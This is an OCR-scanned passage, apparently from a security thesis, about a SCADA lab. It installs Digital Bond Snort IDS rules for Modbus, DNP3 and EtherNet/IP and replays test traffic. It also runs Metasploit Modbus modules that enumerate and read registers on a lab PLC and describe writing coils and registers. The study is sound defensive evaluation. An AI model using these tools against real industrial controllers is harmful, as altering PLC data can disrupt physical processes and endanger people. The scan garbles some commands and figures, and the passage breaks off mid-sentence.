attack  launch  point  for  adversarial  tools,  simulating  an  attacker  who  has  already  gained  a 
foothold  inside  the  Enterprise  Network. 

Due  to  hard-coded  IP  address  ranges  used  in  the  HMI  and  CMP  (192.168.1.0/24), 
we  were  unable  to  change  the  address  space  for  either  Tofino  demonstration  kits.  We  use 
two  Vyatta  routers,  one  on  each  Control  Network  in  front  of  the  hub,  and  employ 
Network  Address  Translation  (NAT)  to  provide  each  remote  site — the  Fort  Sask  and 
Sumas  Pump  Station — with  private,  distinct  address  spaces.  The  two  routers  are 
connected  together  using  a  switch  that  simulates  a  WAN  connection.  Two  hubs 
connected  to  the  switch  provide  visibility  to  packets  traversing  through  the  Enterprise 
Network,  allowing  us  to  accurately  observe  the  tools  we  run  from  the  perspective  of  both 
networks  and  to  monitor  network  activity  in  all  segments  of  the  network. 
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Figure  13.  SCADA  Test  Environment 


B.  DIGITAL  BOND’S  QUICKDRAW  SCADA  SNORT  RULES 

Digital  Bond  developed  SCADA  Intrusion  Detection  System  (IDS)  signatures  for 
various  industrial  control  protocols  including  Modbus/TCP,  DNP3,  and  EtherNet/IP. 
These  rules  are  written  in  Snort  syntax  and  are  designed  to  identify  signatures  of 
unauthorized  requests,  malformed  protocol  requests  and  responses,  dangerous 
commands,  and  network  behavior  that  may  indicate  possible  attacks  [32],  Digital  Bond’s 
IDS  Snort  signatures  were  developed  under  contract  from  the  Department  of  Homeland 
Security  (DHS)  Homeland  Security  Advanced  Research  Projects  Agency  (HSARPA). 
HSRPA  is  a  branch  of  DHS’  Science  and  Technology  (S&T)  Directorate  [32], 

1.  SCADA  IDS  Signatures 

Digital  Bond’s  Quickdraw  SCADA  IDS  is  released  as  a  compressed  zip  file 
available  on  its  website,  including  all  available  Snort  signatures  and  accompanying 
preprocessors.  Next,  we  describe  installing  these  rules  under  the  Security  Onion 
distribution  of  Linux.  Security  Onion  already  provides  network  security  monitoring  tools 
such  as  Snort  and  Snorby,  a  utility  that  enhances  the  usability  and  presentation  of 
information  under  Snort.  Digital  Bond’s  Quickdraw  preprocessors  and  plugins  for  Snort 
were  designed  for  Snort  versions  2. 8. 5.2  and  2. 8. 5. 3.  The  version  of  Snort  provided  by 
Security  Onion  is  newer  (version  2. 9. 5. 6).  One  advantage  of  using  Security  Onion  for 
installing  the  Quickdraw  rules  is  that  the  ICS  protocol  variables  that  Digital  Bond 
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declared  in  its  custom  Snort  rules  are  already  included  in  the  Snort  configuration  file.  A 
user  need  only  define  the  variable  and  the  link  to  the  rules  file  in  order  to  use  Snort  with 
the  Quickdraw  rules. 

a.  Installation 

The  download  and  configuration  process  for  Digital  Bond’s  Quickdraw  SCADA 
IDS  rules  is  a  simple,  straightforward  process.  All  rules  are  available  for  download  as  a 
zip  file  from  Digital  Bond’s  website.  The  following  are  the  download  and  configuration 
procedures  for  the  Digital  Bond’s  Quickdraw  SCADA  IDS  rules: 

(1)  Download  the  zip  file  from  the  digital  bond  website  (see  Figure  14).  The  — 
no-check-certificate  option  ignores  the  default  check  of  server’s  certificate 
against  available  certificate  authorities,  to  avoid  interoperability  issues 
with  the  SSL  verification  between  various  sites  and  user  machines. 


■student^student-virtual-machine : -s  \ 

>  wget  - -no-check-certificate  https : //www. digitalbond . com/wp-content/uploads/201 1 /Q2f 
quickdraw_4_3_1 .zip 

Figure  14.  Digital  Bond  Snort  IDS  Rules  wget  command 


(2)  Unzip  the  downloaded  file  (see  Figure  15). 


student^student- virtual-machine : ~$  unzip  quickdraw_4_3_1.zip 

Archive :  quickdraw_4_3_1 . zip 

inflating : 

dnp3_1_2 . rules 

creating : 

_ IMACOSX/ 

inflating : 

_ MACOSX/ . _dnp3_! _2 . rules 

inflating : 

enip_cip_1_l . rules 

inflating : 

_ MACOSX./  ._enip_cip_1_1  .  rules 

inflating : 

ETPRO-License . txt 

inflating : 

_ MACOSX/ ._ETPRO-License.txt 

inflating : 

modbus_1_2 . rules 

inflating : 

_ MACOSX/ . _modbus_1 _2 . rules 

inflating : 

vulnerability_1_5 . rules 

inflating : 

_ MACOSX/ . _vulne  r abili ty_1 _S . rules 

Figure  15.  Digital  Bond  Snort  IDS  Rules  unzip  command 


(3)  Copy  each  individual  rules  file  into  the  snort  rules  folder.  For  a  typical 
Snort  installation  in  a  Linux  system,  the  Snort  rules  folder  is  located  at 
/etc/snort/rules  (see  Figure  16).  For  the  Security  Onion  Linux  distribution, 
the  Snort  rules  folder  is  located  at  /etc/nsm/rules  (see  Figure  17). 
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student^student- virtual-machine : ’$  V 

>  cp  -{dnp3* .  rules , modbus* .  rules ,  eriip_cip* .  rules  t  vulnerability* .  rules}  /etc/snort/rules 

Figure  16.  Digital  Bond  Snort  IDS  Rules  copy  to  Snort  rules  folder 


student@student-virtual-machine : \ 

>  cp  {dnp3* . rules , modbus* . rules , enip_cip* . rules , vulnerability* . rules}  / etc /nsm/ rules 

Figure  17.  Digital  Bond  Snort  IDS  Rules  copy  to  Snort  rules  folder  (Security 

Onion) 


(4)  Add  the  path  of  the  Digital  Bond  Snort  IDS  Rules  files  to  the  snort,  conf 
fde  (see  Figure  18). 


#  site  specific  rules 
include  SRULE_PATH/local . rules 
include  SRULE_PATH/downloaded . rules 
include  SRULE_PATH/enip_cip_1_1 .rules 
include  *RULE_PATH/dnp3_l_2 . rules 
include  $RULE_PATH/modbus_1_2 . rules 
include  $RULE_PATH/vulnerability_1_5 . rules 


Figure  18.  Digital  Bond  Snort  IDS  Rules  snort. conf  rules  path 


(5)  Add  required  variables  from  the  Modbus/TCP,  EtherNet/IP,  DNP3,  and 
vulnerabilities  signatures  (see  Figure  19).  The  default  IP  address  is  the 
$HOME_NET  where  Security  Onion  is  configured  to  monitor. 
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#  Required  for  ET  Digitalbond  Scada  signatures  in  the  scada. rules  category 

ipvar  DNP3_SERVER  $HOME_NET 

ipvar  DNP3_CLIENT  $HOHE_NET 

portvar  DNP3_P0RTS  20000 

ipvar  MODBUS_CLIENT  $HOME_NET 

ipvar  MODBUS_SERVER  SH0ME_NET 

ipvar  ENIP_CLIENT  $HOME_NET 

ipvar  ENIP_SERVER  $H0ME_NET 

Figure  19.  Digital  Bond  Snort  IDS  Rules  snort. conf  variables 

b.  Modbus/TCP  Signatures 

The  Modbus/TCP  rules  file  contains  14  Snort  IDS  rules  configured  to  detect 
anomalous  behavior  between  the  Modbus  client  and  the  Modbus  server. 

c.  EtherNet/IP  Signatures 

The  EtherNet/IP  rules  file  contains  16  Snort  IDS  rules  configured  to  detect 
anomalous  behavior  between  the  EtherNet/IP  client  and  the  EtherNet/IP  server.  Unlike 
the  Modbus/TCP  rules,  the  EtherNet/IP  rules  require  preprocessors.  Preprocessors  are 
required  for  the  EtherNet/IP  protocol  to  ensure  reliable  rules  and  avoid  false  positives  and 
false  negatives. 

d.  DNP3  Signatures 

The  DNP3  rules  file  contains  13  Snort  IDS  rules  configured  to  detect  anomalous 
behavior  among  the  DNP3  client,  DNP3  server,  and  any  IP  address  communicating  or 
attempting  to  communicate  with  the  DNP3  client  and  server.  The  original  13  Snort  IDS 
rules  are  susceptible  to  intentional  fragmentation  and  long  message  fragmentation  that 
circumvents  the  Snort  IDS  rules.  With  the  addition  of  a  DNP3  preprocessor,  the  non¬ 
preprocessor  rules  were  modified  for  the  preprocessors  as  well  as  three  additional  rules. 

e.  Vulnerabilities  Signatures 

The  Vulnerabilities  Rules  file  contains  rules  that  are  vendor-specific,  as  opposed 

to  the  protocol-specific  Snort  signatures  described  earlier.  The  Vulnerabilities  Rules  file 

includes  17  rules  from  vendors  such  as  CitectSCADA,  WonderWare,  RealWin, 

VxWorks,  and  BroadWin.  There  are  also  several  rules  that  are  donated  to/and  in 
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collaboration  with  Digital  Bond.  This  set  of  rules  include:  61  rules  donated  by  Emerging 
Threats  Pro  with  assistance  from  Nitro  Security,  five  rules  developed  by  Nitro  Security  in 
partnership  with  Rockwell  Automation  in  response  to  ICS  A- 11-273-03  Rockwell 
RSLogix  Overflow  Vulnerability  [33],  and  six  rules  donated  by  Rockwell  Automation  in 
response  to  vulnerabilities  identified  by  Project  Basecamp. 

2.  Sample  Packet  Capture  Files 

Digital  Bond  provides  traffic  samples  for  testing  and  evaluation.  This  sample 
includes:  16  individual  EtherNet/IP  protocol  traffic  samples  (with  description  of  what 
each  sample  tests),  two  Modbus/TCP  and  two  DNP3  protocols  traffic  samples.  Figure  20 
illustrates  the  command  to  download  the  traffic  samples  from  Digital  Bond’s  website 
[32]. 


student@student- virtual -machine \ 

>  wget  http://digitalbond.com/wp-content/uploads/201 1 /02/puickdraw_PCAPS_4_0 .zip 

Figure  20.  Digital  Bond’s  Quickdraw  Traffic  Sample  wget  command 

The  samples  designed  to  test  the  Modbus/TCP  rules  ran  successfully  on  the 
Security  Onion.  Figure  21  illustrates  the  tcpreplay  command  used  to  replay  one  of  the 
Modbus  traffic  samples  provided  by  Digital  Bond.  The  -t  option  performs  the  replay  of 
traffic  at  top  speed  and  the  -i  ethO  option  identifies  the  interface  where  the  traffic  sample 
is  run,  in  this  case  it  is  replayed  on  the  ethO  interface. 
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rcKJt@student-virtual~machine :  /home/student/Desktop/DigitalBond/Quickdraw_PCAP5_4_0#  \ 
>  tcpreplay  -t  -i  ethO  modbus_test_data_part1 . pcap 
sending  out  ethO 

processing  file:  modbus_test_data_part1 . pcap 
Actual:  118  packets  (8269  bytes)  sent  in  0.03  seconds 
Rated:  275633.3  bps,  2.10  Mbps,  3933.33  pps 
Statistics  for  network  device:  ethO 

Attempted  packets:  118 

Successful  packets:  118 

Failed  packets:  0 

Retried  packets  (ENOBUFS):  0 
Retried  packets  (EAGAIN) :  0 


Figure  21.  Replaying  Modbus/TCP  traffic  samples  using  tcpreplay  in  top  speed 


The  Snorby  program  packaged  in  the  Security  Onion  distribution,  depicted  in 
Figure  22,  shows  alerts  triggered  by  the  rules  as  the  traffic  samples  were  run  on  the 
network  using  tcpreplay.  The  Snorby  dashboard  organizes  the  alerts  by  severity  level: 
high,  medium,  and  low  severities  based  on  priority  levels  defined  in  the  Snort  rules  (see 
Figure  23),  with  priority  1  being  highest  severity  and  priority  3  being  lowest  severity. 
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Snorby  Ijjjhnreat  stack 

Welcome  Administrator  Settinas  1  Loa  oi 

Dashboard  My  Queue  (0)  Events 

Sensors 

Search 

Administration 

Dashboard  More  Options 


LAST  24  TODAY  YESTERDAY  THIS  WEEK  THIS  MONTH  THIS  QUARTER  THIS  YEAR 


321 

4433 

HIGH  SEVERITY 

MEDIUM  SEVERITY 

 J.  ■ 

15657 

LOW  SEVERITY 

J  i 


Sensors 

Event  Count  VS  Time  By  Sensor  student-virtual-machine-ethOl 


TOP  5  SENSOR 


student-virtual-machine-ethO:l 

TOP  5  ACTIVE  USERS 

20,413 

Q  Administrator 

LAST  5  UNIQUE  EVENTS 

SCADAJDS 

2,705 

SCADA_IDS 

3.959 

SCADAJDS 

040 

SCADAJDS 

266 

Snort  Alert  [1:1111617:11 

B 

ANALYST  CLASSIFIED  EVENTS 

Unauthorized  Root  Access 

0 

Unauthorized  User  Access 

0 

Attempted  Unauthorized- 

0 

Denial  of  Service  Attack 

0 

Policy  Violation 

Reconnaissance 

0 

Virus  Infection 
False  Positive 


Figure  22.  Snorby  User  Interface 


Rule  Information 


Signature:  SCADAJDS 


alert  tcp  $MQDBUS_CLIENT  any  SMODBUS_SERVER  502  ( flow: from_client r established; 

content : 11 1  00  00|n;  offset:2;  depth:2;  content : 11 1  2B  |  11 ;  offset:?;  depth:l; 

msg : MSCADA_IDS :  Modbus  TCP  -  Read  Device  Identification1'; 

reference : urlr  digit albond . com/tools/quickdraw/modbus- tcp -rules; 

classtype : attempted-recon;  sid : 1111004;  rev:2;  priority : 3 ; } 


Figure  23.  Sample  Modbus/TCP  Snort  rule 

The  Snorby  program  is  accessible  via  the  localhost  Webserver  on  port  444.  A 
shortcut  icon  is  also  available  on  Security  Onion  by  default  (see  Figure  24). 
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__  <3  ft 

FileSystem  ELSA  Snorby  Sguil 


Figure  24.  Snorby  Desktop  Shortcut  Icon 


We  ran  the  traffic  samples  in  real-time  mode  and  top  speed  mode.  Figure  25 
illustrates  one  of  the  traffic  samples  run  at  real-time  speed,  where  118  packets  are  sent 
through  the  wire  in  1541  seconds.  The  Snort  identification  results  are  the  same  when 
running  the  traffic  samples  at  top  speed.  We  observed  that,  although  the  samples 
triggered  some  Modbus/TCP  rules,  they  did  not  trigger  all  the  rules.  These  traffic  samples 
may  be  designed  to  test  some,  but  not  all  of  the  rules.  Digital  Bond  does  not  specify  what 
the  Modbus/TCP  traffic  samples  are  designed  to  test  and  trigger. 


_Q#  tcpreplay  -i  ethO  modbus_test_data_part1 . pcap 
sending  out  ethO 

processing  file:  modbus_test_data_part1 . pcap 

Actual:  ITS  packets  (8269  bytes)  sent  in  1541.83  seconds 
Rated:  5.4  bps,  0.00  Mbps,  0.08  pps 
Statistics  for  network  device:  ethO 

Attempted  packets:  118 

Successful  packets:  118 

Failed  packets:  0 

Retried  packets  (ENOBUFS):  0 
Retried  packets  (EAGAIN):  0 

Figure  25.  Replaying  Modbus/TCP  traffic  samples  using  tcpreplay  in  real-time 


The  Squert  Dashboard  (see  Figure  26),  a  tool  similar  to  Snorby  packaged  within 
Security  Onion  for  visualizing  Snort  alerts,  shows  the  Modbus/TCP  Snort  rules  that  were 
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triggered  after  running  the  Modbus/TCP  traffic  samples  provided  by  Digital  Bond.  Most 
(10  of  the  14)  Modbus/TCP  rules  and  one  rule  from  the  Vulnerabilities  signatures  were 
triggered  (see  Figure  26).  The  triggered  rule  from  the  Vulnerabilities  signatures  is  SID: 
1111617  (see  Figure  27),  which  is  a  heap-based  buffer  overflow  in  Automated  Solutions 
Modbus/TCP  master  OPC  Server  that  allows  remote  attackers  to  cause  a  denial  of  service 
and  possibly  execute  arbitrary  code  [34], 


Events  Incidents  Summary  Views 


Welcome  student  |  Looout 


comments  |  sensors  |  filters 
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NO 
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Q 

□ 
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sc 
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6 
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1 
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1 
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6 
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© 
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1 
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06:59:09 
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1111010 
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Low: 

18  (26.5%) 

KB 
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l 
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06:59:09 
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D 
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l 
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1111012 

6 

0.000%% 
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Snort  Alert  [1:1111617:11 


Figure  26.  Squert  Dashboard 


#  CVE  2010-4709:  Automated  Solutions  Modbus/TCP  Master  OPC  server  Modbus  TCP  Hea 
der  Corruption  Attempt 

r 

alert  tcp  any  any  ->  any  502  [msg: "Automated  Solutions:  Modbus/TCP  Master  OPC  se 
rver  Modbus  TCP  Header  Corruption  Attempt";  byte_test:  2, >,500,4;  ref erence : url p 
digitalbGnd.com/tQols/quickdraw/vulnerability-rules;  sid:1111617;  rev:1;  priorit 


,y:i;) 


Figure  27.  Snort  rule  SID:1 1 1 1617 


We  ran  all  traffic  samples  provided  by  Digital  Bond:  16  EtherNet/IP  protocol 
traffic  samples,  two  DNP3  protocols  traffic  samples  and  the  two  Modbus/TCP  protocol 
traffic  samples.  No  EtherNet/IP  or  DNP3  related  Snort  rules  were  triggered  during  the 
tests. 
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EtherNet/IP  and  DNP3  rules  require  preprocessors  based  on  our  analysis  and 
testing  of  the  rules  set.  The  patch  provided  by  Digital  Bond  failed  to  install  correctly  and 
none  of  the  rules  became  active.  Therefore,  all  rules  for  EtherNet/IP  and  DNP3  are 
currently  broken  for  Snort  version  2. 8. 5. 3  and  older.  The  configuration  of  Snort  under 
Security  Onion  is  different  from  a  typical  Snort  installation:  the  configuration  files  are 
reorganized  into  a  Network  Security  Monitoring  folder.  The  preprocessor  and  plugin 
patch  created  by  Digital  Bond  is  designed  for  Snort  versions  2. 8. 5.2  and  2. 8. 5. 3.  The 
patch  contains  multiple  hard-coded  addresses  that  do  not  carry  over  to  the  later  version  of 
Snort.  Figure  28  illustrates  the  command  for  executing  the  Snort  preprocessor  patch. 


student@student- virtual-machine : -/Desktop 
>  patch  -pi  -i  quickdraw_all_1 . patch  V 

Is 

Figure  28.  Quickdraw  Snort  Preprocessor  Patch  command 

As  depicted  in  Figure  29,  the  Snort  preprocessor  patch  looks  for  a  missing  file 
whose  path  is  hard-coded,  but  is  either  not  present  or  has  changed  locations  in  newer 
versions  of  Snort. 


'patching  file  snort-2 . 8 . 5 . 3/config . status 
can’t  find  file  to  patch  at  input  line  9726 
Perhaps  you  used  the  wrong  -p  or  --strip  option? 

The  text  leading  up  to  this  was: 

j dif f  -rupN  quickdraw_snor t_base/ snort-2 . 8.5. 3/ configure  quickdraw_all? snort -2 . 8.5. 3/configure 

| quickdraw_snort_base/snort-2 . 8 . 5 . 3?conf igure  2010-02-12  15:29:36.000000000  -0500 

quickdraw_all/snort-2 . 8.5. 3/configure  2010-05-10  10:40:01.000000000  -0400 

________  ______ 

(File  to  patch:  _ 


Figure  29.  Quickdraw  Snort  Preprocessor  Patch  error 


Snort  fails  to  compile  when  executed  without  a  successful  installation  of  the 
Digital  Bond’s  preprocessors  and  with  the  EtherNet/IP  and  DNP3  rules  configured  in  the 
snort,  conf  file.  The  DNP3  rules  file  contains  a  variable,  dnp3_cmd Jc  that  is  used  by  the 
preprocessor  and  not  defined  in  the  snort. conf  file  (see  Figure  30). 
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ERROR:  /etc/nsmyrules/dnp3 . rules(73 )  Unknown  rule  option:  ’ dnp3_cmd_f c ' . 

Fatal  Error,  Quitting.. 

Figure  30.  Missing  dnp3_cmd Jc  variable  in  DNP3  rules 

Similarly,  one  of  the  variables  of  the  EtherNet/IP  rules  file  used  by  the 
preprocessor  and  not  defined  in  the  snort,  conf  file  is  cip_service  (see  Figure  31). 


ERROR:  /etc/nsm/rules/enip_cip_1_1 . rules(45)  Unknown  rule  option:  ' cip_service ' . 
Fatal  Error,  Quitting.. 

Figure  3 1 .  Missing  cip_service  variable  in  EtherNet/IP  rules 

Due  to  differences  in  configuration  and  version,  the  installation  of  the  Quickdraw 
processors  and  plugins  were  unsuccessful.  We  were  unable  to  find  resources  discussing 
the  installation  of  Digital  Bond’s  Quickdraw  SCADA  preprocessors  on  later  versions  of 
Snort.  Likely,  the  preprocessors  need  to  be  updated  to  accommodate  newer  Snort 
versions.  We  commented  out  the  rules  in  the  DNP3  rules  file  that  required  preprocessors 
in  order  for  Snort  to  successfully  load  the  rules  file  and  start  networks  scans. 

C.  MODBUS  METASPLOIT  TOOLS 

Metasploit  is  a  console  of  modules  for  developing  and  executing  adversarial  tools 
such  as  scanning  and  exploit  tools.  The  Metasploit  Framework  contains  several  modules 
for  exploiting  ICS  applications  and  hardware  components.  There  are  three  auxiliary 
modules  designed  for  scanning  and  enumerating  the  Modbus/TCP  protocol,  independent 
of  the  brand  of  PLC.  All  three  Modbus/TCP  Metasploit  modules  were  tested  and 
evaluated  in  our  test  environment  using  a  Wago  PLC  running  the  Modbus/TCP  protocol. 
Next,  we  describe  the  behavior  of  each  of  these  modules  under  the  following  test 
condition:  the  HMI  is  active,  monitoring  PLC  activity  and  generating  traffic;  the  Tofino 
Security  Appliance  is  set  to  its  default  passive  mode;  the  Kali  Linux  node  is  running 
Metasploit;  and  the  Security  Onion  node  is  running  the  tcpdump  utility  to  capture  packets 
between  the  Kali  node  and  the  PLC,  (i.e.,  to  verify  that  the  right  function  codes  are  sent 
to  the  PLC  and  to  analyze  the  PLC’s  response  to  the  Metasploit  module  scans). 
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1. 


modbus  findunitid 


The  modbus  Jlndunit  Metasploit  module  is  a  scanner  that  enumerates  Modbus 
Unit  ID  and  Station  ID.  This  module  sends  a  command  with  Function  Code  0x04  (Read 
Input  Register)  to  the  Modbus  endpoint.  If  the  Modbus  endpoint  contains  the  correct 
Modbus  Unit  ID,  it  returns  a  packet  with  the  same  Function  ID.  If  not,  it  would  add  0x80 
to  the  Function  Code  to  yield  0x84.  This  is  interpreted  as  the  Exception  Code 
“incorrect/none  data  from  stationID,”  because  it  did  not  respond  correctly  to  the  Read 
Input  Register  Function  Code  [35],  The  code  0x80  indicates  a  Modbus  exception 
response.  In  a  normal  response,  the  Modbus  server  returns  the  function  code  of  the 
request;  in  an  exception  response,  the  function  code’s  most-significant  bit  (MSB)  is  set 
from  0  to  1.  This  adds  an  additional  0x80  to  the  original  function  code,  which  has  a  value 
of  lower  than  0x80.  The  additional  0x80  in  the  function  code  alerts  the  client  to  recognize 
the  exception  response  and  examine  the  data  field  for  the  specific  exception  code  [8], 

From  the  Kali  Linux  station  of  the  Test  Environment,  we  ran  the  Metasploit 
Console  and  loaded  the  modbus  Jlndunitid  module.  The  target  address  was  set  to  the 
Wago  PLC’s  IP  address,  192.168.1.1.  Other  options  for  the  module,  depicted  in  Figure 
32,  include:  target  port  (default  Modbus  port  502),  timeout  for  the  network  probe,  range 
of  Modbus  Unit  ID  to  scan  (default  is  aggressive  mode  scan  from  1  to  254). 


msf  auxiliary ( 

od£u<,  finduoitidl 

>  show  options 

Module  options 

(auxiliary/scanner/scada/modbus_findunitid) : 

Name 

Current  Setting 

Required 

Desc  ription 

BENICE 

1 

yes 

Seconds  to  sleep  between  StationID-probes,  just  for  beeing  nice 

RH0ST 

yes 

The  target  address 

RP0RT 

502 

yes 

The  target  port 

TIMEOUT 

2 

yes 

Timeout  for  the  network  probe,  0  means  no  timeout 

UNIT  ID  FROM 

1 

yes 

ModBus  Unit  Identifier  scan  from  value  [1..254] 

UNIT  ID  TO 

254 

yes 

ModBus  Unit  Identifier  scan  to  value  [UNIT_ID_FR0M . .254] 

Figure  32.  modbus_fIndunitid  Metasploit  module  options 


We  started  the  scan  and  the  PLC  returned  unit  IDs  from  1  to  254.  The  Wago  PLC 
returned  all  254  unit  IDs  as  valid.  Upon  further  investigation,  we  discovered  that  the  use 
of  unit  IDs  is  a  legacy  feature  of  the  Modbus  protocol.  The  Modbus  unit  IDs  became 
outdated  when  Modbus  was  encapsulated  in  the  TCP  protocol.  The  unit  ID  is  ignored  and 
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Modbus  slave  units  are  now  identified  by  their  IP  address  [36],  This  makes  searching  for 
a  specific  unit  ID  ineffective.  Any  live  Modbus  slave  units  will  respond  to  any  requested 
Modbus  unit  ID. 


2.  modbusclient 

The  modbusclient  Metasploit  module  allows  reading  and  writing  data  to  a  PLC 
using  the  Modbus/TCP  protocol.  The  original  modbusclient  module  created  by 
EsMnemon  was  a  write-only  module  utilizing  the  protocol’s  Function  Code  0x06  (Write 
Single  Register).  Amaud  Soullie  modified  the  code  to  include  the  following  Function 
Codes:  0x01  (Read  Coil),  0x03  (Read  Holding  Register),  and  0x05  (Write  Single  Coil) 
[37]. 


a.  Function  Code  0x01  ( Read  Coil) 

A  successful  execution  of  modbusclient  using  Function  Code  0x01  allows  the 
users  to  read  the  status  from  1-2000  contiguous  coils  in  a  remote  PLC  device.  The 
DATAADDRESS  field,  depicted  in  Figure  33  specifies  a  2-byte  starting  address  for  the 
returned  coil  status  (0x0000  to  OxFFFF).  The  response  from  the  Modbus  server  is  the  coil 
status,  one  bit  per  coil  represented  in  the  data  field  [8], 

b.  Function  Code  0x03  ( Read  Holding  Register) 

A  successful  execution  of  modbusclient  using  Function  Code  0x03  allows  the 
users  to  read  the  status  from  1-2000  contiguous  discrete  inputs  in  a  remote  PLC  device. 
The  DATA  ADDRESS  field,  depicted  in  Figure  33,  specifies  a  2-byte  starting  address 
for  the  returned  register  status  (0x0000  to  OxFFFF).  The  response  from  the  Modbus 
server  is  the  register  value  in  the  response  message,  two  bytes  per  register  [8], 

c.  Function  Code  0x05  ( Write  Single  Coil) 

A  successful  execution  of  modbusclient  using  Function  Code  0x05  allows  users  to 
write  a  single  output  (either  ON  or  OFF)  to  the  coil  of  a  remote  PLC  device.  The  input 
data  value  defined  using  the  DATA  field,  depicted  in  Figure  33,  accepts  the  value 
OxFFOO  for  the  output  to  be  ON  and  the  value  0x0000  for  the  output  to  be  OFF.  All  other 
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input  values  are  invalid  and  will  not  affect  the  output.  The  DATAADDRESS  field 
identifies  the  address  of  the  coil  to  be  forced  [8], 

d.  Function  Code  0x06  ( Write  Single  Register) 

A  successful  execution  of  modbusclient  using  Function  Code  0x06  allows  users  to 
write  to  a  single  holding  register  in  a  remote  PLC  device.  The  DATA  ADDRESS  field, 
depicted  in  Figure  25,  identifies  the  register  address  to  be  written  (0x0000  to  OxFFFF).  A 
successful  execution  of  this  request  echoes  the  value  of  the  defined  DATA  field  [8]. 

e.  Observations 

We  ran  the  Metasploit  module,  with  the  target  address  set  to  the  PLC’s  IP  address, 
192.168.1.1.  Other  options  for  the  module,  depicted  in  Figure  33,  include:  target  port 
(default  Modbus  port:  502),  Modbus  Unit  ID  (default:  1),  Modbus  data  address,  and  data 
(applicable  only  to  Function  Codes  0x05  and  0x06  for  writing  data  to  the  PLC). 


msf  auxiliary (■ 

)  >  show  options 

Module  options 

( auxiliary /scanner/scada/modbusclient2) : 

Name 

Current  Setting  Required 

Desc  ription 

DATA 

DATA  ADDRESS 
RHOST 

RP0RT 

UNIT  NUMBER 

no 

512  yes 

192.168.1.1  yes 

502  yes 

1  no 

Data  to  write  (WRITE_C0IL  and  WRITE_REGISTER  modes  only) 
Modbus  data  address 

The  target  address 

The  target  port 

Modbus  unit  number 

Figure  33.  modbusclient  Metasploit  module  options 


The  options  menu  provides  no  documented  option  for  changing  the  Function 
Codes.  We  ran  the  scan  setting  RHOST  to  the  Wago  PLC’s  IP  address  (192.168.1.1), 
DATA  ADDRESS  to  0x00,  and  used  the  default  for  other  parameters.  The  default 
Function  Code  is  0x03  (Read  Holding  Register).  We  referred  to  the  Modbus 
Communication  Between  Wago  Ethernet  Couplers  and  Controllers  manual  to  select  the 
data  address  values  used  in  the  test  [38],  Table  4  describes  the  different  Modbus  memory 
areas  that  are  read  by  Function  Code  0x03. 


56 


Table  4.  Wago  750-841:  Modbus  addresses  for  Function  Code  0x03, 

from  [38] 


Modbus 

[dec] 

address 

[iiei] 

EEC61131 

Address 

Description 

0 

...  255 

0x0000 

...  OxOOFF 

%IW0 

...  %IW255 

Physical  input  area 

2  56 
...511 

0x0100 

...  0x0 IFF 

%QW256 
. .  .  %QW511 

PFC  OUT  variables 

512 
...  161 

0x0200 

...  Gx02FF 

%QW0 
...  %QW255 

Physical  output  area 

7  68 
...  1023 

0x0300 
...  Gx03FF 

%rW256 
.. .  %IW  511 

PFC  IN  variables 

1024 
...  4095 

0x0400 

...  OxOFFF 

_ 

Modbus  Exception:  "Illegal  data  address'" 

+096 
...  12287 

0x1000 
...  0x2FFF 

- 

Configuration  Register  (see  manual  for  details) 

1223S 
...  24575 

0x3000 

...  0x5FFF 

%MW0 

....  %MW255 

Retain  memory  area 

24576 
...  25340 

0x6000 

...  Qx62FC 

%IW512 

...  %IW1275 

Physical  input  area 

25341 
...  28671 

0x6  2FD 

...  0x6FFF 

“ 

Modbus  Exception:  "Illegal  data  address" 

28672 
...  29346 

0x7000 

...  0x72FC 

%QW512 
...  %QW1275 

Physical  output  area 

We  sampled  memory  addresses  from  the  physical  output  area,  configuration 
register,  and  retain  memory  area.  Figure  34  illustrates  sample  command  execution  of  the 
modbusclient  module.  By  changing  the  DATA  ADDRESS  field  to  a  corresponding  data 
address  in  the  table,  we  were  able  to  successfully  read  data  stored  in  the  PLCs  memory. 
Data  address  512  returned  a  value  for  the  physical  output  area,  data  address  12288 
returned  a  value  for  the  retain  memory  area,  and  data  address  4096  returned  a  value  100 
the  configuration  register.  Configuration  registers  allow  properties  of  Wago  750-841  to 
be  read  and,  in  some  cases,  modified.  The  configuration  register  at  data  address  4096 
corresponds  to  the  Modbus  Watchdog  Time  (multiple  of  100ms).  Watchdog  is  a 
heartbeat-like  sensor  that  monitors  the  execution  time  of  tasks  [39].  This  indicates  that 
the  Modbus  Watchdog  Timer  is  set  at  10-second  interval. 
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)  >  set  DATA  ADDRESS  512 


msf  auxiliary ! 

DATA_ADDRESS  =>512 
msf  auxiliary!  •)  >  run 

[+]  Sending  READ  REGISTER... 

[+]  Register  value  at  address  512  :  29487 

I*1]  Auxiliary  module  execution  completed 

msf  auxiliary!  )  >  set  DATA_ADDRESS  4G96 

DATA_ADDRESS  =>  4996 

msf  auxiliary tnrcn&bi  it2)  f>  run 

r*]  Sending  READ  REGISTER... 

[+]  Register  value  at  address  4996  :  199 

[*]  Auxiliary  module  execution  completed 

msf  auxiliary!  )  >  set  DATA_ADDRESS  12288 

DATA_ADDRESS  =>  12288 

msf  auxiliary!  )  >  run 

[*]  Sending  READ  REGISTER... 

[+]  Register  value  at  address  12288  :  14 

[*]  Auxiliary  module  execution  completed _ 


Figure  34.  modbusclient  sample  command  execution 


After  further  experimentation  with  changing  various  values  to  the  modbusclient 
module  options,  we  found  that  the  Function  Code  cannot  be  changed  to  the  other  three 
options  as  illustrated  in  the  modbusclient  code  (see  Figure  35)  without  additional 
instructions. 
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■License1  =>  MSF_LICEMSE, 

'Actions'  => 

[ 

[ 1 READ_C0IL 1 ,  {  'Description'  =>  'Read  one  bit  from  a  coil1  }  ] , 

[ 1 WRITE_COIL 1 ,  {  'Description'  =>  'Write  one  bit  to  a  coil1  }  ], 
l 1 READ_REGISTER' ,  {  'Description'  =>  'Read  one  word  from  a  register'  }  ]f 
[ 1 WRITE_REGISTER' ,  {  'Description'  =>  'Write  one  word  to  a  register1  >  J 

], 

' DefaultAction '  =>  1 READ_REGISTER' 

)) 


Figure  35.  modbusclient.rb  Metasploit  module  code 


After  further  analysis  of  the  source  code,  we  discovered  the  procedures  for 
changing  the  default  function  code.  Switching  the  default  function  code  to  the  other  three 
options  was  accomplished  by  setting  Boolean  values  to  their  variables  (see  Figure  36). 
The  author  of  modbusclient  did  not  provide  adequate  direction  in  regards  to  switching 
Function  Codes  to  fully  use  the  tool’s  advertised  functionality.  There  are  several 
applications  for  this  tool,  if  it  worked  as  advertised.  In  addition  to  its  capability  to  read 
coil  and  register  information,  it  also  has  the  capability  to  modify  data  on  the  PLC  by 
